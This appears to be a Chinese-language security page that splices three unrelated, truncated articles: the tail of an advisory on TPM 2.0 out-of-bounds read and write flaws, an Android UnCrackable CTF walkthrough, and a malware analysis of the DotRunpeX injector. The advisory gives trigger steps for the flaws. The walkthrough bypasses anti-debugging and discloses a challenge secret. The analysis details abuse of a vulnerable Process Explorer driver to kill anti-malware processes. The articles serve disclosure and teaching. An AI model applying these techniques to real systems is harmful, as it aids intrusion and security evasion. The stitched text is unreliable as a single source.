谷歌云提供虛擬TPM作為屏蔽虛擬機的部分功能;

Oracle Cloud Infrastructure提供虛擬TPM作為屏蔽實例的一部分。

那些使用基於TCG參考實現的虛擬TPM的提供商預計很容易受到攻擊。以Google Cloud為例,他們的虛擬TPM的核心來自IBM發布的代碼,該代碼自動從TPM 2.0規範的完整源代碼中提取,CryptParameterDecryption函數中的漏洞存在於其中。以微軟Azure為例,他們的虛擬TPM“符合TPM 2.0規範”,我們已經驗證了Windows 10上可用的Hyper-V版本中包含的虛擬TPM確實非常易受攻擊。

關於亞馬遜AWS和Oracle雲基礎設施,除了知道“符合TPM 2.0規範”並鏈接到TCG網站外,我們沒有太多關於他們的信息。

修復參考實例(Reference Implementation)可信計算組織(Trusted Computing Group,TCG)發布了TCG可信平台模塊庫的勘誤表1.4版,並對這兩個漏洞提出了修復建議。

軟件產品微軟在2023年3月的安全更新中修復了Hyper-V中的漏洞。他們對TPM 2.0在Azure的Pluton/HCL/Overlake/Manticore標準服務器上的OOB寫入影響的評估很低,因為只有2個字節覆蓋,目前該團隊還沒有一種易於實現的方法來獲得僅2個字節的EoP或RCE。

微軟還通過提交9bdd9f0aaba5e54b3c314cfff02cf532281a067e修復了他們的開源參考實現。

VMware預計將於2023年4月發布這些漏洞的修復程序。

Libtpms修復了提交324dbb4c27ae789c73b69dbf4611242267919dd4中的漏洞。

Chromium OS修復了提交3b87ed233acb4c76c27872e1ac0b74dc032199f1漏洞。

IBM在提交102893a5f45dbb0b0ecc0eb52a8dd4defe559f92中修復了他們的開源實現。

硬件產品Nuvoton為其NPCT65x TPM芯片發布了安全諮詢SA-003。

聯想發布了關於使用上述Nuvoton TPM的受影響產品的安全諮詢LEN-118320。

查看計算機製造商的網站以獲取TPM固件更新。

技術細節關於TPM加密參數的入門教程如Trusted Platform Module Library Specification,Family 2.0,Part 1:Architecture 第21節“基於會話的加密”中所描述的那樣,一些TPM 2.0命令具有可能需要加密的參數,這些參數可能需要去往TPM或通過TPM進行加密。可以使用基於會話的加密來確保這些參數的機密性。引用規範如下:

並非所有命令都支持參數加密。如果允許基於會話的加密,只有請求或響應的參數區域中的第一個參數可以被加密。參數必須有明顯的大小字段。只有參數的數據部分被加密。 TPM應該支持使用XOR模糊處理的基於會話的加密。對使用CFB模式的分組密碼的支持是特定於平台的。這兩種加密方法(XOR和CFB)不需要填充數據進行加密,因此加密數據大小和純文本數據大小相同。

基於會話的加密使用會話啟動時建立的算法參數以及從特定於會話的sessionKey派生的值。

如果sessionAttributes.decrypt在命令的會話中為SET,並且該命令的第一個參數是一個大小為緩衝區的參數,則使用會話的加密參數對該參數進行加密。

帶有加密參數的TPM 2.0命令由基本命令標頭、handleArea和sessionArea組成,最後是加密的參數parameterArea。結構如下:

1.png

如下圖所示,在TPM 2.0參考實現中,ExecCommand.c中的ExecuteCommand函數檢查sessionArea的authorizationSize字段是否至少為9([1])。之後,在[2]中,它計算parameterArea的開始(位於sessionArea之後),並將其保存到parmBufferStart變量中。在[3]中,它計算parameterArea的大小,並將其保存到parmBufferSize變量中。然後它調用ParseSessionBuffer()([3]),傳遞parmBufferStart和parmBufferSize作為參數([5], [6])。

2.png

SessionProcess.c中的函數ParseSessionBuffer解析命令的sessionArea。如果會話具有Decrypt屬性集([1]),並且命令代碼允許參數加密,則ParseSessionBuffer調用CryptParameterDecryption()([2]),傳播parmBufferSize([3])和parmBufferStart([4])參數:

3.png

CryptParameterDecryption函數中存在的漏洞CryptUtil.c中的函數CryptParameterDecryption對加密的命令參數執行就地解密。

4.png

此函數中出現的兩個安全漏洞漏洞1:OOB read(CVE-2023-1018):在[1]中,函數使用BYTE_ARRAY_TO_UINT16宏從parmBufferStart指向的緩衝區中讀取16位字段(cipherSize),而不檢查是否有任何參數數據超過會話區域。之前在函數ExecuteCommand中執行了唯一的長度檢查,但該檢查只驗證了命令的sessionArea至少有9個字節。因此,如果格式錯誤的命令不包含越過sessionArea的parameterArea,它將觸發越界內存讀取,使TPM在命令結束後訪問內存。

請注意,BYTE_ARRAY_TO_INT16宏不執行任何邊界檢查:

5.png

應該使用UINT16_Unmarshal函數來代替,它在從給定的緩衝區讀取之前執行適當的大小檢查。

漏洞2:OOB寫入(CVE-2023-1017):如果提供了適當的parameterArea(避免出現漏洞1),則parameterArea的前兩個字節將被解釋為要解密的數據的大小([1]處的cipherSize變量)。在讀取了cipherSize之後,在[2]處,緩衝區指針向前移動2。在[3]中有一個健全性檢查,如果cipherSize值大於實際緩衝區大小,那麼它將被釋放,但這裡有一個問題,在讀取cipherSize 16位字段並將緩衝區指針向前移動2之後,函數會忘記從bufferSize減去2,忽略已經處理的兩個字節。因此,使用比剩餘數據實際大小大2的cipherSize值成功地通過[3]的完整性檢查是可能的。這樣,當調用CryptXORObfuscation()或ParmDecryptSym()函數(分別在[4]和[5]處)來實際解密cipherSize字段後面的parameterArea中的數據時,TPM最終會在緩衝區末尾寫入2個字節,從而導致越界寫入。

一個只有2個字節的OOB寫入一開始可能看起來不是一個非常強大的原語,但去年已有研究人員通過一個值為0x01的單字節OOB寫入,成功地在谷歌Titan M芯片上執行了代碼。

影響1.OOB讀取:CryptUtil.c中的函數CryptParameterDecryption可以讀取接收到的TPM命令結束後的2個字節。如果受影響的TPM沒有將接收到的命令之間的命令緩衝區清零,則可能導致受影響的函數讀取先前命令中已經存在的任意16位值。這取決於實現過程:例如,VMware不會清除請求之間的命令緩衝區,因此OOB讀取可以訪問上一個命令中已經存在的任何值,相反,Hyper-V的虛擬TPM在每次接收到請求時都會用零填充命令緩衝區中未使用的字節,因此OOB訪問最終只讀取零

2.OOB寫入:CryptUtil.c中的函數CryptXORObfuscity/ParmDecryptSym(從CryptParameterDecryption調用)可以在命令緩衝區結束後寫入2個字節,從而導致內存損壞。

第二個漏洞無疑是最有趣的一個。能夠覆蓋有用內容的可能性取決於每個實現如何分配接收TPM命令的緩衝區。例如:

VMware使用大小為0x10000的超大緩衝區,遠遠大於通常的最大TPM命令大小0x1000字節;

Hyper-V使用一個大小為0x1000的靜態變量作為命令緩衝區;

SWTPM使用malloc()分配大小為0x1008的命令緩衝區(8字節用於發送命令前綴,可用於修改位置,加上0x1000字節用於最大TPM命令大小)。

因此,在命令緩衝區附近有一些有用的東西(我們可以用OOB寫入來覆蓋)的可能性實際上取決於實現。上面提到的三個虛擬TPM都使用完全不同的方法來分配命令緩衝區。類似地,在給定硬件TPM的固件的命令緩衝區之後覆蓋一些有用內容的可能性完全取決於特定硬件供應商如何分配用於保存傳入命令的緩衝區。

觸發漏洞為了再現上述2個漏洞中的一個,有必要向目標TPM發送2個命令。在這兩種情況下,第一個命令必須是TPM2_StartAuthSession命令,以啟動授權會話。為簡單起見,我們可以指定TPM_ALG_XOR作為要使用的對稱算法。結果,我們得到一個包含會話句柄的TPM響應。

之後,我們需要發送一個支持參數加密的命令。我們使用了tpm2_creatprimary,儘管其他一些命令可能也能運行。我們在tpm2_creatprimary命令的sessionArea中傳遞上一步中獲得的會話句柄,並在sessionAttributes字段中設置Decrypt標誌。然後:

1.為了再現漏洞1(OOB讀取),我們發送具有最小有效sessionArea的TPM2_CreatePrimary命令,之後沒有數據,即缺少parameterArea。

2.為了再現漏洞2 (OOB寫入),我們發送tpm2_creatprimary命令,其總大小等於支持的最大TPM命令大小(0x1000字節)。在本例中,我們確實包含了一個parameterArea,其中cipherSize字段設置為0xfe5 (0x1000 - sizeof(command_base_header) - sizeof(handleArea) - sizeof(sessionArea)),後面跟著0xfe3字節的任意值(填充加密參數的位置),以完成整個tpm2_creatprimary命令的0x1000字節。

概念驗證.zip文件包含PoC的Python版本(用於在Linux系統上運行)和C版本(用於在Windows機器上運行)。

總結在TPM 2.0參考實現的代碼中發現了兩個安全漏洞:越界讀取和越界寫入。因此,其固件基於可信計算組發布的參考代碼的每個TPM(軟件或硬件實現)都將受到影響。

有趣的是,儘管所有受影響的TPM共享完全相同的易受攻擊的功能,但成功利用的可能性取決於命令緩衝區的實現方式,這部分取決於每個實現。從上述示例可以看到,每個人似乎都以不同的方式處理它:一些人在接收到的請求之間清除命令緩衝區,但另一些人不會;有些通過malloc()在堆中分配命令緩衝區,而另一些則使用全局變量。

本文已經驗證這些漏洞存在於主要桌面虛擬化解決方案(如VMware Workstation、Microsoft Hyper-V和Qemu)中包含的軟件TPM中。最大的雲計算提供商提供的虛擬TPM也可能受到影響。例如,Google Cloud使用IBM發布的代碼自動從TCG參考實現中提取,並且IBM提供的代碼中存在的漏洞也被驗證了。以微軟Azure為例,我們已經提到Windows 10上的Hyper-V受到了影響,由於Azure虛擬機監控程序是基於Hyper-V的,我們預計這兩個漏洞也會出現在Microsoft的雲平台上。

我們預計大多數TPM硬件供應商也會受到影響。由於缺乏調試設置來查看TPM固件在運行時發生的情況,因此很難確認物理芯片中是否存在漏洞。靜態分析可以作為評估硬件TPM是否易受攻擊的替代方法,但在我們設法獲得的少數TPM固件更新中,這些更新是加密的。

滲透測試Android 應用程序:工具和分步說明(上)

解決UnCrackable Apps 挑戰我們將向您展示如何解決兩個OWASP MSTG CrackMe 挑戰:Android 級別1 的UnCrackable 應用程序和Android 級別2 的UnCrackable 應用程序。這些應用程序專門設計為逆向工程挑戰,代碼中隱藏著秘密。我們的任務就是找到這些秘密。在解決這些挑戰時,我們將使用靜態分析來分析反編譯代碼,並使用動態分析來修改一些應用程序參數。

解決UnCrackable App for Android Level 1首先,我們需要查看我們的培訓應用程序。一個普通的Android 應用程序實際上是一個正確打包的APK 文件,其中包含應用程序正常運行所需的所有數據。

要從內部審視應用程序並解決這一挑戰,我們需要:

adb 用於與我們的移動設備和培訓應用程序通信

用於將我們的培訓應用程序的APK 文件反彙編為單獨的.smali 類的Apktool

jdb 用於調試我們的訓練應用程序

dex2jar 用於將APK 文件轉換為JAR 格式

用於處理JAR 文件的JD-GUI

現在讓我們繼續解決第一個挑戰。

我們將首先使用以下命令在我們的設備或模擬器上安裝UnCrackable-Level1.apk:

image.png

我們將在jdb 工具的幫助下解決這個挑戰並調試Release Android 應用程序。繼續尋找隱藏的秘密。

1. 解壓應用程序並使用Apktool 解碼清單文件:

image.png

2. 使用文本編輯器,通過更改清單文件並將應用程序設置為android:debuggable:將應用程序置於調試模式'true':

XML

applicationandroid:allowBackup='true'android:debuggable='true'android:icon='@mipmap/ic_launcher'android:label='@string/app_name'android:theme='@style/AppTheme'3.使用Apktool重新打包APK文件:

image.png

4.退出新創建的APK文件。您可以使用bash 腳本來執行此操作以重新註冊Android 應用程序。

5. 使用以下命令在您的設備或模擬器上安裝新的APK 文件:

此時,我們面臨第一個大挑戰。 UnCrackable App 旨在抵抗調試模式。因此,當我們啟用它時,應用程序會簡單地關閉。

您將看到帶有警告的模態對話框。可以通過點擊確定關閉對話框,但這將是應用程序終止前的最後一個操作。

image.png

滲透測試android 1

幸運的是,有一種方法可以解決這個問題。

6. 在等待調試器模式下在您的設備或模擬器上啟動應用程序。此模式允許您在應用程序運行其檢測機制之前將調試器連接到目標應用程序。因此,應用程序不會停用調試模式。

使用以下命令在等待調試器模式下運行應用程序:

您將看到以下對話窗口:

image.png

滲透測試android 2

7. 現在顯示連接設備上運行的所有進程的進程ID (PID):

image.png

8. 並且只列出可調試的進程:

image.png

9. 在您的主機上打開一個監聽套接字並將其傳入的TCP 連接轉發到所選可調試進程的JDWP 傳輸:

image.png

10. 請注意,附加調試器(在我們的例子中是jdb)將導致應用程序從掛起狀態恢復,我們不希望這樣。我們需要暫停該應用程序一段時間以對其進行詳細探索。為防止進程恢復,將suspend命令通過管道傳輸到jdb:

image.png

11. 現在我們需要繞過點擊確定後應用程序在運行時崩潰的那一刻。使用dex2jar 和JD-GUI 反編譯APK 文件以查看應用程序代碼:

1)使用dex2jar工具將原始APK文件轉為JAR文件:

image.png

2)使用JD-GUI工具,打開新建的JAR文件:

image.png

查看代碼後,您會看到MainActivity.a方法顯示消息:

'This is unacceptable.'

MainActivity.a方法創建一個警告對話框並為onClick 事件設置一個偵聽器類。偵聽器類有一個回調方法,當用戶點擊OK 按鈕時,該方法會關閉應用程序。為防止用戶取消對話框,系統調用setCancelable方法。

在這一點上,我們最好的情況是將應用程序暫停在我們正在尋找的秘密字符串存儲在明文變量中的狀態。不幸的是,除非您能弄清楚應用程序如何檢測root 和篡改,否則這是不可能的。

12. 嘗試稍微修改運行時以繞過應用程序終止。 android.app.Dialog.setCancelable在應用程序仍處於暫停狀態時設置方法斷點,然後恢復應用程序:

image.png

13. 應用程序在第一個setCancelable方法指令處暫停。您可以使用該locals命令打印傳遞給setCancelable方法的參數:

image.png

正如您在上面的代碼中看到的,系統調用了setCancelable(true)方法,所以這不是我們需要的調用。讓我們用resume命令恢復這個過程:

image.png

我們已經通過參數調用了setCancelablefalse方法。此時,我們需要使用set命令將變量更改為true並恢復應用程序:

image.png

每次到達斷點時繼續設置,flag直到最終顯示警報窗口。 true您可能需要嘗試五六次才能看到此窗口。此時,您應該能夠在不導致應用程序終止的情況下取消應用程序——只需點擊對話框窗口旁邊的屏幕,它就會關閉。

image.png

滲透測試android 3

14. 最後,是提取秘密字符串的時候了。再次查看應用程序代碼。您會注意到我們正在尋找的字符串是使用高級加密標準解密的,並與用戶在消息框中輸入的字符串進行比較。應用程序使用java.lang.String類的equals方法來確定字符串輸入是否與秘密字符串匹配。

現在在java.lang.String.equals上設置一個方法斷點,在編輯字段中輸入隨機文本,然後點擊VERIFY。 locals到達斷點後,您可以使用命令讀取方法參數:

image.png

答對了!我們的秘訣是“我想相信”。您可以通過在消息框中輸入此短語並單擊“驗證”按鈕來輕鬆檢查是否正確。

image.png

滲透測試android 4

做得好!現在我們可以開始解決第二個挑戰了。

解決UnCrackable App for Android Level 2與之前的任務一樣,在這個訓練應用程序的代碼中某處隱藏著一個秘密字符串,我們的目標是找到它。然而,在這種情況下,我們的秘密字符串可能有一些本地代碼的痕跡。

為了解決這個挑戰,我們將使用以下工具:

adb 用於與我們的移動設備通信

用於反彙編APK 文件的Apktool

用於處理庫的切割器

gbd 用於分析應用程序代碼

用於編輯二進制數據的Hex Workshop Editor

dex2jar 用於將APK 文件轉換為JAR 格式

用於處理JAR 文件的JD-GUI

讓我們直接解決這個挑戰:

1.使用dex2jar和JD-GUI,分析UnCrackable-Level2.apk文件。

1)首先,使用dex2jar將APK文件轉換為JAR文件:

image.png

2) 然後用JD-GUI打開轉換後的文件。從MainActivity類開始:

image.png

系統加載本機foo 庫。然後我們在MainActivity類的onInit方法中調用原生的init函數。

接下來,CodeCheck類從bar 庫中導入一個函數:

image.png

CodeCheck的一個方法(很可能被混淆了)使用這個函數來驗證密碼。

image.png

2.使用Apktool提取foo庫,然後用Cutter反編譯成機器碼:

image.png

在temp/lib 文件夾中,查找擴展名為.so 的文件。應該有針對不同類型處理器架構的文件:arm64-v8a、armeabi-v7a、x86 和x86_64。選擇與您正在使用的設備或模擬器的處理器架構相匹配的庫。您可以使用CPU-Z應用程序檢查設備的架構。

使用Cutter 分析所選庫。首先檢查功能選項卡以了解庫的功能。

例如:

pthread_create和pthread_exit函數表明函數庫使用線程。

image.png

滲透測試android 5

如果您看到strncmp字符串比較器,它可能用於驗證傳遞的密碼。如果幸運的話,我們正在尋找的字符串是硬編碼的,輸入的密碼會與它進行比較。然而,根據線程的使用判斷,我們可以假設庫在運行時計算秘密字符串。

image.png

滲透測試android 6

我們來分析一下strncmp函數。使用Cutter 找到strncmp函數的地址(0xffb)。

image.png

滲透測試android 7

ptrace是用於調試的Linux 系統調用。然而,在我們的例子中,它被用作一種反調試技術。

image.png

滲透測試android 8

讓我們分析一下ptrace的功能。這個調用被使用了兩次:第一次是在0x777,然後是0x7a7。在第一種情況下,它是當前進程的PID,在第二種情況下,它是PTRACE_ATTACH 標誌,0x10。

ptrace函數調用將一個Android 進程附加到自身。但是,一個Android 進程只能附加一個進程。這意味著目前我們無法將gdb 附加到Android 進程。

image.png

滲透測試android 9

3. 附加gdb 的問題可以通過NOP-ing 兩個ptrace 系統調用來解決。您可以使用Hex Workshop Editor 更改字節。將ptrace函數的地址插入工具的轉到字段並更改值:

image.png

滲透測試android 10

4. 打開原始APK 文件作為zip 存檔並將原始libfoo.so 庫替換為更改後的庫。

5. 使用與上一個挑戰相同的腳本退出修改後的APK 文件。

6. 在root 設備上安裝應用程序:

image.png

現在,當您啟動該應用程序時,您會看到一條警告,提示您無法使用該應用程序,因為設備已獲得root 權限。

image.png

滲透測試android 11

7.從應用程序代碼中刪除root 和調試器檢測。為此,請在反編譯的APK 文件中找到MainActivity.smali 文件並刪除a方法的所有內容。

當檢測到問題時調用a方法。它向用戶顯示一個警告對話框,然後退出應用程序。為了防止我們的應用程序出現此類行為,我們需要修補a方法。

這是刪除a方法內容後MainActivity.smali 文件的樣子:

image.png

8. 現在用修改後的MainActivity.smali文件重新打包APK 文件:

image.png

9. 接下來,打開UnCrackable-Level2_resigned.apk 文件作為ZIP 存檔,並將其中的classes.dex 文件替換為我們重新打包的APK 文件中的補丁文件。

10. 退出初始的UnCrackable-Level2.apk 文件。在這一步,我們的APK 文件有兩個替換的補丁文件:來自第8 步的MainActivity.smali 和來自第4 步的libfoo.so。

11. 在您的設備上安裝重新安裝的APK 文件:

這一次,我們的應用程序啟動時沒有任何警告消息。

image.png

滲透測試android 12

接下來,我們需要將gdb 附加到Android 進程。首先在您的設備或模擬器上設置gdb 服務器。

12. 在您的設備上打開root shell:

image.png

13. 使用計算機上的命令行界面,將gdb 服務器複製到/data/local/tmp/gdb-server 文件夾中:

微信截图_20230319161953.png

新版DotRunpeX完整的技術分析為了分析dotRunpeX的新版本,使用了示例SHA256:“44a11146173db0663a23787bffbb120f3955bc33e60e73ecc798953e9b34b2f2”。這個示例是一個用.NET編寫的64位可執行文件“.exe”,受KoiVM保護。版本信息與舊版本的DotRunpeX的情況相同,並且在CPR分析的所有示例中都是一致的。 CPR可以再次注意到ProductName – RunpeX.Stub.Framework 。

33.png

新DotRunpeX版本的信息

在dnSpyEx中打開示例並導出入口點函數_sb()方法後,CPR可以立即確認此新版本的DotRunpeX受到KoiVM虛擬程序的保護。儘管大多數IL代碼都是虛擬化的,但CPR仍然可以發現P/Invoke定義的CreateProcess方法的調用,該方法以某種方式創建一個處於掛鉤狀態的進程——通常用於代碼注入技術“Process Hollowing”。

34.png

創建掛鉤的流程作為Process Hollowing技術的一部分

在進一步研究了.NET元數據(特別是ImplMap表)中剩餘的內容之後,找出了定義為P/Invoke並很可能被這個示例使用的其他方法,CPR得到了比舊版本dotRunpeX更令人興奮的發現。顯然,該示例不僅執行代碼注入,還執行加載和與驅動程序通信。

35.png

ImplMap表——DotRunpeX的新版本

CPR立即註意到的下一個是使用了與舊版本相同的資源名——BIDEN_HARRIS_PERFECT_ASSHOLE——它包含要注入的加密有效負載。資源名稱在CPR分析的所有樣本中都是一致的。很明顯,解密例程隱藏在代碼虛擬化之後,但通過猜測,他們可以得到一個簡單的異或解密例程,它使用了一個表示開發者秘密願望的密碼——I_LOVE_HENTAIU2。

36.png

使用密碼“I_LOVE_HENTAIU2”對.NET資源進行簡單異或解密

不過,由於DotRunpeX仍處於開發階段,並添加了新功能,使用該注入器的最新示例改變了解密方案(不再是簡單的XOR),從而省略了嵌入式有效負載的靜態提取。

如上所述,IL代碼受到KoiVM虛擬程序的保護,因此為了繼續分析,CPR需要想出一些方法來處理受保護的代碼,並在合理的時間內從中獲得一些有意義的東西。首先,CPR想到的是使用一個名為OldRod的公開開源KoiVM去虛擬程序。這個工具完全適用於KoiVM的普通版本。它的開發方式甚至要優於KoiVM原始版本的一些簡單修改(例如VMEntry類中方法的簽名修改或默認#Koi流名稱的修改)。

不過,CPR正在處理一個自定義版本的KoiVM,它以一種不那麼容易被發現的方式修改了保護程序。 KoiVM的原始實現定義了119個用於虛擬化代碼的常量變量。這些常量用於定義寄存器、標誌、操作碼等。這些常量的指定值用於正確執行虛擬化代碼,也是去虛擬化過程所需的。

37.png

KoiVM的原始實現定義了119個常量

在使用普通版本的KoiVM時,在constants類內已編譯的、受保護的示例中,生成的常量以完全相同的順序顯示為字段,並帶有升序標記值。在編譯後的二進製文件中,常量及其對應的標記的順序是OldRod所依賴的。

38.png

OldRod源代碼——常量的自動檢測

儘管OldRod工具是一個非常好用的工具,並且可以在通過配置文件(——config選項)提供自定義常量映射時處理常量的自定義順序,但找出這些常量的正確映射並不像聽起來那麼簡單。有時,當一個常量的順序是手工修改時,通過分析它們在代碼中的使用來正確地映射它們可能並不難。但更糟糕的是,它們以一種非常有效的方式被打亂,使得正確的映射非常困難,以至於認為這種方法無法在合理的時間內獲得一些結果。

39.png

OldRod源代碼——常量的自動檢測

通過精確的代碼分析和通過適當的處理程序映射常量期間的一些困難時刻,CPR還是能夠完全去虛擬化代碼。不過,就算有了完全去虛擬化的代碼,但還是一個不能完全運行的.NET程序集,它仍然被ConfuserEx混淆器混淆了。

下圖是與驅動程序例程相關的完全去虛擬化和去混淆的代碼。

驅動程序裝載/卸載:

40.png

負責加載/卸載驅動程序的虛擬化和非虛擬化代碼

與procexp設備的通信:

41.png

負責與procexp設備通信的去虛擬化和去混淆的代碼

為了講解方便,本文不討論去虛擬化和去混淆的過程。

通常,當不可能在合理的時間內對代碼進行反虛擬化時,CPR仍然沒有其他選擇。第一個選項(處理虛擬化代碼時非常常見的方法)是使用調試器、DBI(動態二進制檢測)、掛鉤和WIN API跟踪進行動態分析。當CPR處理dotnet代碼時,另一種方法可能是使用一些來自.NET內部世界的知識進行PoC。 CPR決定將這兩種方法結合起來,從而開發出了一種非常有效的新工具。

為了獲得更多關於代碼功能的信息,CPR從使用x64dbg的動態分析方法開始。正如CPR之前指出的,包含P/Invoke定義的方法的ImplMap表似乎是在調試器中設置斷點的一個很好的起點。通過自動解析P/Invoke定義的方法並將其轉換為x64dbg腳本,CPR開發了第一個工具,稱為“ImplMap2x64dbg”。

ImplMap2x64dbg使用dnfile模塊正確解析.NET可執行文件及其元數據的Python腳本,此工具創建一個x64dbg腳本,用於在.NET可執行文件的已定義ImplMap (P/Invoke)方法上設置斷點。

42.png

使用' ImplMap2x64dbg '處理DotRunpeX示例將生成x64dbg腳本:

43.png

CPR主要關注某些WIN/NT API,如CreateProcessW、NtWriteVirtualMemory、CreateFileA、CreateFileW、NtLoadDriver、NtQuerySystemInformation和DeviceIoControl,因為它們是與驅動程序和進程注入例程相關的有趣API。

我們能看到的第一個有趣的WIN API調用是CreateFileW,它用於在路徑C:\Users\XXX\AppData\Local\Temp\Иисус.sys中創建一個文件。

44.png

CreateFileW用於創建文件“Иисус.sys”

如果CPR檢查創建的文件Иисус.sys(俄語翻譯為“jesus.sys”),就會立即發現它是一個有效的進程資源管理器驅動程序,版本為16.43。

45.png

創建的文件“Иисус.sys”是有效的進程資源管理器驅動程序,版本16.43

CPR可以看到負責加載此驅動程序的例程NtLoadDriver,其中參數指向DriverServiceName–\Registry\Machine\System\CurrentControlSet\Services\TaskKill,它指定了驅動程序註冊表項的路徑。

46.png

NtLoadDriver用於通過其關聯的註冊表項加載procexp驅動程序

47.png

驅動程序註冊表項“\registry\Machine\System\CurrentControlSet\Services\TaskKill”的內容

掛鉤到進程資源管理器設備如下。

48.png

獲取進程資源管理器設備的句柄

DotRunpeX逃避殺毒軟件技術之一是在進程資源管理器驅動程序(procexp.sys)的幫助下阻止一個硬編碼的反惡意軟件服務列表。使用進程資源管理程序驅動程序背後的原因是,反惡意軟件服務通常作為受保護的進程運行,更具體地說是作為PPL,以避免由惡意活動引起的系統保護失效。有可能濫用procexp驅動程序的易受攻擊版本來關閉受保護進程的對象句柄。一旦關閉了足夠多的句柄,特定的受保護進程將被終止。 CPR分析的所有示例都濫用了該驅動程序的16.43版本,這也是最新的易受該技術攻擊的版本。

為了獲得有關對象句柄的信息,DotRunpeX使用具有指定SystemInformationClass0x10的NT API NtQuerySystemInformation,該SystemInformationClass0x10指向未記錄的結構[SYSTEM_HANDLE_information]。通過這種方式,它可以找到屬於受保護進程的所有句柄。

49.png

NtQuerySystemInformation用於獲取未記錄的結構SYSTEM_HANDLE_INFORMATION

為了處理受保護進程的對象句柄,DotRunpeX使用WIN API DeviceIoControl將IOCTL直接發送給易受攻擊的procexp驅動程序。 IOCTL“2201288708”(IOCTL_CLOSE_HANDLE)在RDX寄存器中,處理此請求的procexp驅動程序例程負責關閉指定進程的某些對象句柄,無論指定進程是否受到保護。一旦關閉了足夠多的對象句柄,反惡意軟件服務就會被終止。

50.png

DeviceIoControl用於發送IOCTL“2201288708”以關閉受保護進程的對象句柄

我們還可以看到寄存器R8 (lpInBuffer)指向關閉對象句柄所需的數據。該數據結構可以定義如下:

51.png

讓我們比較一下DotRunpeX示例使用的procexp驅動程序版本(版本16.43,2021.8.17編譯)和最新版本的proceexp驅動程序(版本17.02,2022.11010編譯)。 CPR可以立即發現添加的修復代碼,該代碼負責禁用關閉受保護進程的對象句柄的可能性。

52.png

16.43與17.02版本進程資源管理器驅動程序之間的比較

這種使用進程資源管理器驅動程序關閉受保護流程的對象句柄的技術可以隨時上網查找到,並且是名為Backstab的開源項目的一部分,進程資源管理器驅動程序17.0以上的版本已經被修復。

在阻止特定的受保護進程後,Process Hollowing將使用WIN API CreateProcessW以掛鉤狀態啟動進程(在本例中為C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe),並直接使用NT API NtWriteVirtualMemory將DotRunpeX的嵌入式有效負載寫入新創建的遠程進程。

事實證明,通過一種專注於本機層和WIN/NT API的某些使用的動態分析方法,CPR對這種可用於自動化和大規模處理的虛擬化dotnet注入器獲得了一些有趣的發現:

每個DotRunpeX示例都有一個要注入的特定惡意軟件家族的嵌入式有效負載;

每個DotRunpeX示例都有一個嵌入式procexp驅動程序來終止受保護的進程;

虛擬化代碼背後很可能隱藏著某種配置,它指定了process Hollowing的目標進程、要阻止的受保護進程列表(反惡意軟件服務),以及其他有趣的可配置內容;

除此之外,CPR可以利用.NET內部世界的知識來實現一些自動化。當談論dotnet時,CPR可以立即想到由.NET運行時管理的代碼。越來越多的事情正在被管理,其中特別重要的就是所謂的“內存管理”。 dotnet中的內存類型有堆棧和.NET堆。在網絡世界中,CPR不需要為內存分配/釋放而煩惱,因為這些例程是由.NET運行時和垃圾收集器處理的。網絡的內存管理不知何故需要知道分配什麼、在哪里以及如何分配;解除分配/釋放內存也是如此。一旦討論了從System.Object(類、對象、字符串……)繼承的引用類型,就會在.NET堆上進行分配。這些對象保存在.NET堆上,為了進行自動管理,它們還附帶了某些元數據信息,如類型、引用和大小。另外就是不再引用的對象的自動內存釋放不會立即發生,垃圾收集器會在固定時間間隔內處理這一問題,可能需要幾分鐘。像“靜態對象”這樣的特定對象會在垃圾收集中倖存下來,並一直存持續到應用程序結束。

這意味著,如果CPR可以枚舉.NET堆上的對象,CPR也可以獲得與它們的類型和大小相關的信息,這些信息可以用於它們的適當重建。創建這種工具可能非常耗時,但幸運的是,CPR已經創建了dotnet進程和崩潰轉儲自省(crash dump introspection)開源庫ClrMD Microsoft.Diagnostics.Runtime,該庫由微軟開發,可以精確地用於從.NET堆重建對象。為什麼這很重要?

是因為在dotRunpeX執行的特定時刻,嵌入的有效負載、procexp驅動程序和某種配置必須以解密狀態出現。它們的內容可能會被分配到.NET堆上分配的某個對象。對於這些,CPR可以期望字節blobbyte[]或字符串。這也意味著,如果CPR能夠控制DotRunpeX的執行,並將其掛鉤,使其處於適合重建對象的狀態,那麼CPR將能夠在解密狀態下獲得所需的一切。

掛鉤和自省DotRunpeX進程的正確時機之一可能是調用用於Process Hollowing的WIN API CreateProcessW,這被認為是正確的假設,CPR為此開發了掛鉤庫“CProcessW_Hook”。

CProcessW_Hook使用minhook框架的本地掛鉤庫(適用於Windows的Minimalistic x86/x64 API掛鉤庫)。下面提供的代碼用於掛鉤WIN API函數CreateProcessW,該函數用於DotRunpeX注入器中的進程創建,該注入器後來用作代碼注入(PE Hollowing)的目標。一旦CreateProcessW函數被掛鉤並在目標進程中被調用,整個進程就會被掛鉤進行自省。某些進程創建會被過濾(powershell、conhost),因為它們可以根據配置為DotRunpeX的其他函數生成(例如修改Windows Defender設置)。 CPR只需要在執行代碼注入之前的狀態下暫停進程(其中所有需要的對像都已在.NET堆上解密)。

53.1.png

53.2.png

CPR可以看到,在函數DllMain()中加載這個庫時,所有的掛鉤邏輯都會立即執行。另一件需要注意的重要事情是,CPR定義了導出函數Decoy(),它永遠不會被執行或調用,但在以後的預注入技術中需要它。

有了掛鉤庫“CProcessW_Hook.dll”,CPR可以繼續創建一個注入器和提取器。這就是下面提供的主要工具——DotRunpeX提取器“Invoke-DotRunpeXextract”。

Invoke-DotRunpeXextractPowerShell模塊,支持從DotRunpeX中提取有效負載、procexp驅動程序和配置。該工具是用PowerShell腳本語言編寫的,使用預注入本機掛鉤庫“CProcessW_Hook.dll”(使用AsmResolver)和從.NET堆重建.NET對象(使用ClrMD)。它使用動態方法進行提取,因此樣本以託管方式執行(僅在VM中使用)。使用PowerShell 7.3+, clrMD v2.2.343001 (net6.0), AsmResolver v5.0.0 (net6.0)。

本文提供了該工具的兩個版本,其中一個是創建為多線程的PowerShell模塊,以獲得最佳性能和使用效果。該工具的第二個版本是一個具有相同功能的單線程腳本,可以用於簡單的調試和故障排除,並且可以更容易地創建具有類似功能的多個代碼段。

PowerShell模塊的整個代碼都以易於理解其核心功能的方式進行了註釋,接下來我們將簡要描述該工具的核心功能,如使用AsmResolver的掛鉤庫的預注入技術以及提取背後的實現邏輯。

